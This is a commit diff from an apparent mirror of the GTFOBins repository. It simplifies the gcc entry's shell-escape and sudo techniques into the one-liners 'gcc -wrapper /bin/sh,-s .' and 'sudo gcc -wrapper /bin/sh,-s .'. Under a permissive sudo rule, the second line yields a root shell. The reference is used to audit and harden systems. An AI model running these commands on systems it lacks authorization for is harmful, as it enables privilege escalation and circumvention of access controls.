mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Simplify gcc shell
This commit is contained in:
parent
dec4a7f928
commit
dfb01a4c3b
@ -1,17 +1,7 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '#!/bin/sh' > $TF/x
|
||||
echo '/bin/sh' >> $TF/x
|
||||
chmod +x $TF/x
|
||||
gcc -wrapper $TF/x $TF/x
|
||||
- code: gcc -wrapper /bin/sh,-s .
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '#!/bin/sh' > $TF/x
|
||||
echo '/bin/sh' >> $TF/x
|
||||
chmod +x $TF/x
|
||||
sudo gcc -wrapper $TF/x $TF/x
|
||||
- code: sudo gcc -wrapper /bin/sh,-s .
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user